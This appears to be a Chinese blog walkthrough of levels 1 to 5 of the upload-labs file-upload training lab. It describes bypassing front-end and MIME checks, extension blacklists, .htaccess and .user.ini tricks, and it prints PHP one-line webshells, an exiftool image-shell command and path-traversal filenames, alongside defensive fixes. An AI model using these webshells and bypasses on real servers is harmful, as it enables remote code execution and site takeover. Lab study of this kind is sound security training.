upload-labs PASS 1-5通关

PASS-01 前端javascript检查

1,第一个提示javascript对上传的文件进行审查

2,javascript工作在前端页面,可以直接删除具有审查功能的代码

3,删除之后再上传一句话木马

上传成功,可以使用蚁剑进行连接,控制网站

第一关的防御机制在前端(客户端),操作是javascript过滤:function checkFile(),定义了一个检查文件后缀名的函数,只允许图片类型文件上传

PASS-02 MIME绕过

1,第二关提示本pass在服务端对数据包的MIME进行检查。

 检查 MIME 类型通常涉及以下几个步骤:

1. 获取请求的 MIME 类型

在接收到客户端发送的数据包后,服务端可以通过 HTTP 请求头中的 Content-Type 字段来获取请求的 MIME 类型。这个字段通常会告诉服务器,数据包的格式(如 JSON、XML、图片等)。

例如,对于一个 POST 请求,Content-Type 可能是这样的:

  • application/json
  • application/xml
  • multipart/form-data(通常用于上传文件)
  • image/jpeg

2. 验证 MIME 类型

服务端需要验证这个 MIME 类型是否符合预期,防止恶意用户伪造数据包类型。一般来说,有以下几种方式来验证 MIME 类型:

a. 通过 HTTP 头检查

检查 HTTP 请求头中的 Content-Type 是否符合预期类型。如果客户端发送的类型不匹配,可以返回 400 或 415 错误响应。

例如:

if request.headers.get('Content-Type') != 'application/json':
    return 'Invalid Content-Type', 415

b. 文件扩展名检查

对于上传文件的情况,服务端可能会根据文件的扩展名来进一步验证 MIME 类型,例如确认上传的文件确实是 .jpg 扩展名的图片,且 MIME 类型为 image/jpeg。

3. 解析数据并验证格式

仅仅验证 MIME 类型可能不足够,还需要根据数据的格式进一步进行验证。例如:

  • JSON 验证:如果 Content-Type 是 application/json,服务端需要检查接收到的内容是否为有效的 JSON 格式。
    • 如果 JSON 格式不合法,可以返回 400 错误。
  • 图片文件验证:如果是图片,服务端可以使用文件头(Magic Bytes)来验证文件的实际格式,而不仅仅依赖于 MIME 类型。
    • 比如:对于 JPEG 文件,文件的前两个字节通常是 0xFF, 0xD8,如果 MIME 类型是 image/jpeg,但文件头不匹配,可以认为是伪造的文件。

4. 防止 MIME 类型欺骗

由于客户端可以伪造 Content-Type 头,单靠头部信息并不安全。服务器可以采取以下措施进一步保护:

  • 检查数据的 Magic Bytes:特别是在处理文件上传时,读取数据的前几个字节来判断文件类型,而不仅仅依赖 Content-Type。
  • 多重验证:对于某些特定格式的数据(如图片、音频等),可以通过第三方库或算法进一步验证数据的结构和内容。

类型

描述

典型示例

text

表明文件是普通文本,理论上是人类可读

text/plain, text/html, text/css, text/javascript

image

表明是某种图像。不包括视频,但动态图(如动态GIF)也使用image类型

image/gif, image/png, image/jpeg, image/bmp, image/webp, image/x-icon, image/vnd.microsoft.icon

audio

表明是某种音频文件

audio/midi, audio/mpeg, audio/webm, audio/ogg, audio/wav

video

表明是某种视频文件

video/webm, video/ogg

application

表明是某种二进制数据

application/octet-stream, application/pkcs12, application/vnd.mspowerpoint, application/xhtml+xml, application/xml, application/pdf

2,那么思路就是burp suite抓包,然后对content-type进行修改。挂上代理,然后抓包,右键发送到repeater模块,然后修改为image/png

上传成功

PASS-03 上传特殊可解析后缀

1,本关禁止上传.asp|.aspx|.php|.jsp后缀文件,尝试burpsuite抓包该后缀名进行绕过

结果还是发生报错

查看源码这是因为后端对文件后缀名进行了审查过滤

2,在某些特定环境中某些特殊后缀仍会被当作php文件解析 php、php2、php3、php4、php5、php6、php7、pht、phtm、phtml。

这里用.ptml试一下,直接上传一个名为1.phtml的文件,可以发现直接上传成功

成功上传

PASS-04 利用 .htaccess 绕过

代码审计分析

1. 黑名单过滤机制缺陷

$deny_ext = array(".php",".php5",...,".phtml",...); // 黑名单列表
$file_ext = strrchr($file_name, '.'); // 提取扩展名

  • 绕过风险
  • 末尾点绕过:若文件名形如 shell.phtml.strrchr 提取的扩展名为 .phtml.,不在黑名单中,可能绕过检测。部分服务器(如Apache)会忽略末尾点,仍按 .phtml 解析。
  • 未覆盖新扩展名:如 .php7.phar 等未在黑名单中,可能被利用。
  • .htaccess 攻击:黑名单未包含 .htaccess,攻击者可上传此文件修改解析规则(如 AddType application/x-httpd-php .abc),后续上传 .abc 的Webshell。

2. 文件名处理逻辑问题

  • deldot 函数未明确定义:若仅删除末尾单个点,多重点(如 shell.php..)可能残留末尾点,导致扩展名误判。
  • 路径遍历风险:未过滤 ../ 等字符,攻击者可能通过 ../../shell.phtml 将文件上传到非预期目录。

3. 服务器解析漏洞依赖

  • 即使绕过黑名单,仍需依赖服务器配置漏洞(如解析 shell.php.jpg 为 PHP),但代码本身未对内容做验证。


攻击场景示例

1. 利用 .htaccess 绕过

  1. 上传 .htaccess 文件,内容为:
    AddType application/x-httpd-php .phtml .
    jpg

  1. 上传 WebShell 文件 shell.jpg,内容为:
    <?php @eval($_POST['cmd']); ?>

  1. 蚁剑通过 http://3b04a012-9abc-46c1-b9fa-0cb64af9074d.node5.buuoj.cn:81/upload/shell.jpg 连接

PASS-05 黑名单验证,.user.ini.

代码审计分析

1. 大小写绕过漏洞(高危)

漏洞原理

黑名单虽包含部分大小写变种(如 .pHp),但未覆盖 全大写扩展名(如 .PHP.PHP5)。由于代码未统一转换为小写进行校验,攻击者可构造特定扩展名绕过检测。

利用方式

  • 上传文件名为 shell.PHP,扩展名 .PHP 不在黑名单中(黑名单仅含 .pHp)。
  • 在 Windows/Linux 服务器上均可能绕过检测并执行。

修复建议

$file_ext = strtolower($file_ext); // 统一转换为小写后再检查黑名单 

 

2. 特殊扩展名绕过(高危)

漏洞原理

黑名单未覆盖以下危险扩展名:

  • .phar:PHP 归档文件,可直接执行代码。
  • .phtml 重复处理缺陷:虽然黑名单包含 .phtml,但若攻击者构造 .PHTML(全大写)仍可绕过。
  • .inc:部分服务器配置会解析为 PHP。

利用方式

  1. 上传文件 shell.phar,绕过黑名单检测。
  2. 通过 URL 直接访问上传的 .phar 文件触发代码执行。

 

3. 路径遍历攻击(中危)

漏洞原理

代码未对文件名中的路径字符(如 ../)进行过滤,攻击者可构造文件名将文件上传到非预期目录。

利用方式

  • 上传文件名设为 ../../shell.php,若服务器处理不当,文件可能被保存到 Web 根目录外的敏感路径(如 /var/www/html 的上级目录)。
  • 配合其他漏洞(如本地文件包含)触发执行。

修复建议

$file_name = str_replace(['../', './'], '', $file_name); // 过滤路径遍历字符 

 

4. 双扩展名解析漏洞(高危)

漏洞原理

若服务器配置错误(如 Apache 的 mod_mime 解析缺陷),可能将 shell.php.jpg 识别为 PHP 文件。代码仅检查最后一个扩展名(.jpg),导致绕过。

利用方式

  1. 上传文件名为 shell.php.jpg,扩展名检测为 .jpg,绕过黑名单。
  2. 通过服务器解析漏洞(如 AddHandler application/x-httpd-php .jpg)触发 PHP 代码执行。

 

5. .htaccess 攻击(高危)

漏洞原理

虽然黑名单包含 .htaccess,但代码未彻底处理大小写(如 .Htaccess)。若攻击者上传恶意 .htaccess 文件,可控制服务器解析规则。

利用方式

  1. 上传文件名为 .Htaccess,内容为:
    AddType application/x-httpd-php .abc 
  2. 上传 WebShell 文件 shell.abc,内容为 PHP 代码。
  3. 访问 shell.abc 触发代码执行。

 

6. 文件内容未校验(中危)

漏洞原理

代码仅校验扩展名,未检查文件内容。攻击者可上传图片马(如 shell.jpg 内含 PHP 代码),配合服务器解析漏洞或文件包含漏洞执行代码。

利用方式

  1. 生成图片马:
    exiftool -Comment='<?php system($_GET["cmd"]); ?>' image.jpg -o shell.jpg 
  2. 上传 shell.jpg,通过文件包含漏洞执行:
    http://target.com/include.php?file=uploads/202310011200001234.jpg&cmd=id

 

漏洞利用综合示例

场景:利用大小写绕过 + 双扩展名攻击

  1. 上传文件名为 shell.PHP.jpg,扩展名检测为 .jpg,绕过黑名单。
  2. 服务器配置错误(如 Apache 解析 php 优先级高于 jpg),将文件解析为 PHP。
  3. 通过 URL 访问上传文件执行代码:

http://target.com/uploads/202310011200001234.PHP.jpg 

 

.user.ini 文件详解

1. 基本概念

  • 定义.user.ini 是 PHP 的本地配置文件,用于覆盖 php.ini 中的配置项。
  • 作用范围:仅对 当前目录及其子目录 生效(需 PHP 运行在 FastCGI 模式)。
  • 优先级php.ini < .htaccess (Apache) < .user.ini

2. 核心用途

通过以下指令控制 PHP 行为:

  1. auto_prepend_file
  • 在所有 PHP 文件执行前自动包含指定文件。
  • 示例:auto_prepend_file = "header.php"
  1. auto_append_file
  • 在所有 PHP 文件执行后自动包含指定文件。
  • 示例:auto_append_file = "footer.php"
  1. 其他常用指令
  • max_execution_time(脚本最大执行时间)
  • memory_limit(内存限制)
  • upload_max_filesize(文件上传大小限制)

3. 攻击利用场景

漏洞原理

攻击者可上传恶意 .user.ini 文件,结合其他文件(如图片马)实现代码执行。

攻击步骤示例

  1. 上传 .user.ini
    auto_prepend_file = "shell.jpg"  ; 自动包含图片马
  2. 上传图片马 shell.jpg
    <?php @eval($_POST['cmd']);?> 
  3. 触发执行

访问该目录下的任意 PHP 文件(如 index.php),会先加载 shell.jpg 中的代码。

4. 防御措施

  1. 禁止上传 .user.ini
    $deny_ext = array_merge($deny_ext, ['.user.ini']); 
  2. 限制目录权限
  • 设置上传目录的 PHP 文件不可执行(Nginx 示例):
    location /uploads/ { 
       
    deny all; 
    } 
  1. 服务器配置加固
  • 在 php.ini 中禁用危险指令:
    user_ini.filename = ""          ; 禁用 .user.ini 
    allow_url_include = Off         ; 禁止远程文件包含 
    open_basedir = /var/www/html    ; 限制 PHP 文件访问范围 
  1. 定期扫描
  • 监控服务器目录中异常 .user.ini 文件

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/80986.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

GoogleTest:在Ubuntu22.04安装

1.首先克隆GoogleTest $ mkdir gtest $ cd gtest $ git clone git@github.com:google/googletest.git 克隆后的文件目录结构为 gtest/googletest$ tree -L 1 ├── build ├── BUILD.bazel ├── ci ├── CMakeLists.txt ├── CONTRIBUTING.md ├── CONTRIBUTORS ├─…

Transformer-LSTM-SVM回归

题目&#xff1a;Transformer-LSTM-SVM回归 文章目录 题目&#xff1a;Transformer-LSTM-SVM回归前言一&#xff1a;Transformer1. Transformer的原理1.1 Transformer的核心结构1.2 注意力机制1.4 位置编码1.5 损失函数 2. 完整案例 LSTMSVM 前言一&#xff1a;Transformer 1.…

AI正当时,国内AI HR领先厂商易路如何从“单点突破”到“全面融合”

所谓AI HR‌&#xff0c;是指将人工智能&#xff08;AI&#xff09;技术&#xff08;如机器学习、自然语言处理、大数据分析等&#xff09;应用于人力资源管理的各个环节&#xff0c;以提升效率、优化决策并改善员工体验。典型场景有&#xff1a; 在招聘、考勤、薪酬计算等重复…

浅析localhost、127.0.0.1 和 0.0.0.0的区别

文章目录 三者的解释三者的核心区别总结使用场景示例什么是回环地址常见问题开发工具中的地址使用为什么开发工具同时支持localhost和127.0.0.1&#xff1f;实际应用示例VSCode中的Live Server插件VSCode中的VUE项目IDEA中的Spring Boot应用 最佳实践建议 localhost、 127.0.0…

微信小程序鲜花销售系统设计与实现

概述 在鲜花电商行业快速发展的背景下&#xff0c;移动端销售平台成为花店拓展业务的重要渠道。幽络源平台今日分享一款功能完善的微信小程序鲜花销售系统&#xff0c;该系统实现了多角色管理、在线订购、会员服务等核心功能&#xff0c;为鲜花行业提供了完整的电商解决方案。…

端到端电力电子建模、仿真与控制及AI推理

在当今世界&#xff0c;电力电子不再仅仅是一个专业的利基领域——它几乎是每一项重大技术变革的支柱。从可再生能源到电动汽车&#xff0c;从工业自动化到航空航天&#xff0c;对电力转换领域创新的需求正以前所未有的速度增长。而这项创新的核心在于一项关键技能&#xff1a;…

Elastic Cloud Serverless 现在在 Google Cloud 上正式发布

作者&#xff1a;来自 Elastic Yuvraj Gupta Elastic Cloud Serverless 提供了启动和扩展安全、可观察性和搜索解决方案的最快方式 — 无需管理基础设施。 今天&#xff0c;我们很高兴宣布 Elastic Cloud Serverless 在 Google Cloud 上正式发布 — 现在已在爱荷华&#xff08;…

deepseek_ai_ida_plugin开源插件,用于使用 DeepSeekAI 将函数反编译并重命名为人类可读的视图。该插件仅在 ida9 上进行了测试

一、软件介绍 文末提供程序和源码下载 deepseek_ai_ida_plugin开源插件&#xff0c;用于使用 DeepSeekAI 将函数反编译并重命名为人类可读的视图。该插件仅在 ida9 上进行了测试。FunctionRenamerDeepseekAI.cpp 此文件包含 Hex-Rays 反编译器的主要插件实现。它反编译当前函数…

信息系统项目管理工程师备考计算类真题讲解十一

一、运筹学 1&#xff09;线性规划 分析&#xff1a;设为获得最大利润&#xff0c;S应生产X件&#xff0c;K生产Y件 10X20Y<120 8X8Y<80 求MAX(12X16Y) 计算下面的方程式&#xff1a; 10X20Y120 8X8Y80 X8 2)交通运输问题&#xff1a; 分析&#xff1a; 此题采…

深入学习解读:《数据安全技术 数据分类分级规则》【附全文阅读】

该文详细阐述了数据安全技术的数据分类分级规则,内容分为基本原则、数据分类规则、数据分级规则及数据分类分级流程四大部分。 基本原则强调科学实用、动态更新、就高从严及53原则(虽表述不清,但可理解为多重原则的结合),同时要求边界清晰、点面结合。 数据分类规…

连接私有数据与大语言模型的强大框架----LlamaIndex详细介绍与案例应用

什么是LlamaIndex&#xff1f; LlamaIndex&#xff08;原GPT Index&#xff09;是一个先进的数据框架&#xff0c;用于将自定义数据源与大语言模型&#xff08;LLM&#xff09;连接起来。它提供了高效的工具来索引、检索和将私有或特定领域的数据集成到LLM应用中&#xff0c;解…

GBDT算法原理及Python实现

一、概述 GBDT&#xff08;Gradient Boosting Decision Tree&#xff0c;梯度提升决策树&#xff09;是集成学习中提升&#xff08;Boosting&#xff09;方法的典型代表。它以决策树&#xff08;通常是 CART 树&#xff0c;即分类回归树&#xff09;作为弱学习器&#xff0c;通…

WordPress开心导航站_一站式网址_资源与资讯垂直行业主题模板

一款集网址、资源与资讯于一体的导航类主题&#xff0c;专为追求高效、便捷用户体验的垂直行业网站而设计无论您是构建行业资讯门户、资源聚合平台还是个人兴趣导航站&#xff0c;这款开心版导航主题都能成为您理想的选择。 核心特色: 一体化解决方案:整合了网址导航、资源下载…

马井堂-区块链技术:架构创新、产业变革与治理挑战(马井堂)

区块链技术&#xff1a;架构创新、产业变革与治理挑战 摘要 区块链技术作为分布式账本技术的革命性突破&#xff0c;正在重构数字时代的信任机制。本文系统梳理区块链技术的核心技术架构&#xff0c;分析其在金融、供应链、政务等领域的实践应用&#xff0c;探讨共识算法优化、…

从像素到驾驶决策:Python与OpenCV赋能自动驾驶图像识别

从像素到驾驶决策:Python与OpenCV赋能自动驾驶图像识别 引言:图像识别的力量驱动自动驾驶 自动驾驶技术正以令人惊叹的速度改变交通方式,而其中最核心的技术之一便是图像识别。作为车辆的“视觉系统”,图像识别可以实时获取道路信息,识别交通标志、车辆、行人等关键目标…

Spring计时器StopWatch 统计各个方法执行时间和占比

Spring计时器StopWatch 用法代码 返回结果是毫秒 一毫秒等于千分之一秒&#xff08;0.001秒&#xff09;。因此&#xff0c;如果你有一个以毫秒为单位的时间值&#xff0c;你可以通过将这个值除以1000来将其转换为秒。例如&#xff0c;500毫秒等于0.5秒。 import org.springf…

2.2.2goweb内置的 HTTP 处理程序2

http.StripPrefix http.StripPrefix 是 Go 语言 net/http 包中的一个函数&#xff0c;它的主要作用是创建一个新的 HTTP 处理程序。这个新处理程序会在处理请求之前&#xff0c;从请求的 URL 路径中移除指定的前缀&#xff0c;然后将处理工作委托给另一个提供的处理程序。 使…

【Fifty Project - D20】

今日完成记录 TimePlan完成情况7&#xff1a;30 - 11&#xff1a;30收拾行李闪现广州 & 《挪威的森林》√10&#xff1a;00 - 11&#xff1a;00Leetcode√16&#xff1a;00 - 17&#xff1a;00健身√ Leetcode 每日一题 每日一题来到了滑动窗口系列&#xff0c;今天是越…

【图片识别改名】批量读取图片区域文字识别后批量改名,基于Python和腾讯云的实现方案

项目场景 ​​办公文档管理​​&#xff1a;将扫描的发票、合同等文档按编号、日期自动重命名。例如&#xff0c;识别“编号:2023001 日期:20230403”生成“2023001_20230403.jpg”。​​产品图片整理​​&#xff1a;电商产品图片按产品编号、名称自动命名。例如&#xff0c;…

生物化学笔记:神经生物学概论04 视觉通路简介视网膜视网膜神经细胞大小神经节细胞(视错觉)

视觉通路简介 神经节细胞的胞体构成一明确的解剖层次&#xff0c;其外邻神经纤维层&#xff0c;内接内丛状层&#xff0c;该层在鼻侧厚约10&#xff5e;20μm&#xff0c;最厚在黄斑区约60&#xff5e;80μm。 全部细胞数约为120万个(1000000左右)。 每个细胞有一轴突&#xff…